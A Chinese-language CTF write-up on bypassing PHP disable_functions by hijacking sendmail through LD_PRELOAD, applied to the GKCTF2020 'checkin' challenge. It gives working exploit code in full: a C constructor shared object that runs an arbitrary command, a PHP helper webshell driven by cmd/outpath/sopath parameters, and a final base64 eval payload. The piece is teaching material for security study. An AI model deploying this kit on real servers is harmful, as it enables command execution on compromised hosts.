修改&排版 I 偉大寶寶
相信大家遇到過已經到手的webshell不能執行系統命令這種情況。對,這裡我們第一想到的是disablefunction禁用了命令執行函數。今天我們從一道CTF題目學習一下怎麼繞過disablefunction的限制。
首先我們了解一下繞過的具體思路
我們先看下l利用條件
phpinfo():
disable_functions =exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source目標沒安裝 sendmail
通過環境變量 LD_PRELOAD 劫持系統函數(https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD)
利用 C 語言擴展修飾符 __attribute__((constructor))(GCC 支持class, variable, funciton 屬性,constructor, destructor 分別可以在main() 先後執行,可用於全局資源初始化和回收GCC官方手冊) 的C 函數,內部執行攻擊者指定的代碼,並編譯成共享對象 bypass_disablefunc.so;若它出現在共享對象中時,那麼一旦共享對象被系統加載,立即將執行 __attribute__((constructor)) 修飾的函數。
#define _GNU_SOURCE#include <stdlib.h>#include <stdio.h>#include <string.h>
extern char** environ;__attribute__ ((__constructor__)) void preload (void){// get command line options and argconst char* cmdline = getenv("EVIL_CMDLINE");// unset environment variable LD_PRELOAD.// unsetenv("LD_PRELOAD") no effect on some // distribution (e.g., centos), I need crafty trick.int i;for (i = 0; environ[i]; ++i) {if (strstr(environ[i], "LD_PRELOAD")) { environ[i][0] = '\0';}}
// executive command system(cmdline);}PHP 的 putenv()函數,設定 LD_PRELOAD(環境變量) 為 bypass_disablefunc.so。
利用 PHP 的 mail()函數,mail() 內部啟動新進程 /usr/sbin/sendmail,因為上一步 LD_PRELOAD(環境變量)的作用,sendmail 調用的void()函數 被優先級更好的 bypass_disablefunc.so 中的同名 getuid() 所劫持。
bypass_disablefunc.php:
<?php $cmd = $_GET["cmd"]; $out_path = $_GET["outpath"]; $evil_cmdline = $cmd . " > " . $out_path . " 2>&1"; echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>"; putenv("EVIL_CMDLINE=" . $evil_cmdline); $so_path = $_GET["sopath"]; putenv("LD_PRELOAD=" . $so_path); mail("", "", "", ""); echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; unlink($out_path);?>cmd為我們需要執行的系統命令
outpath為我i們執行命令後輸出的路徑
sopath為我們需要加載的指定劫持系統函數的共享對象的絕對路徑
進入正題題目來源GKCTF2020-checkin題目源碼:
<title>Check_In</title><?php highlight_file(__FILE__);class ClassName{public $code = null;public $decode = null;function __construct(){ $this->code = @$this->x()['Ginkgo']; $this->decode = @base64_decode( $this->code );@Eval($this->decode);}
public function x(){return $_REQUEST;}}new ClassName();分析題目
定義了一個 ClassName類,並定義了 $code和 $decode,code為接受我們的參數,decode為把我們接受的參數已base64解密;並把解密後的結果以php代碼來執行並輸出。
這裡我們可以先看下phpinfo(); ?Ginkgo=cGhwaW5mbygpOw== 發現啟用了 disable_functions,不能正常使用系統命令,sendmail為空。
解題思路
因為調用了 eval函數,為了以便於後期操作,我們利用 call_user_func函數,並連接蟻劍。
發現根目錄下的 flag為空,存在 readflag程序,因為無法執行系統命令所以無法進行讀取 flag,所以這裡需要bypass disablefunc。
尋找可寫入權限的目錄,並上傳我們的之前準備好的bypassdisablefunc.so和bypassdisablefunc.php上傳。
上傳後先用include函數包含我們上傳的bypass_disablefunc.php,再次對 我們之前的3個參數進行傳參。
需要我們執行的系統命令
設定執行命令後存儲的絕對路徑
設定加載我們編譯後的共享對象( bypass_disablefunc_x64.so)
最終payload:
?Ginkgo=Y2FsbF91c2VyX2Z1bmMoImFzc2VydCIsJF9HRVRbJ2FhJ10pOw==&aa=include('/var/tmp/bypass_disablefunc.php')&cmd=/readflag&outpath=/tmp/xx&sopath=/var/tmp/bypass_disablefunc_x64.so結束除了這方法還有幾種方法。因為滿足部分條件的原因我就不一一舉例了。關於安全方面的文章你可能還想讀
SSTI Bypass 學習 (Python3&jinja2
安恆5月DASCTF部分WEB題解題思路網鼎杯2020玄武組js_on解題分析
微信號 : baimaoshequ
知乎:白帽子社區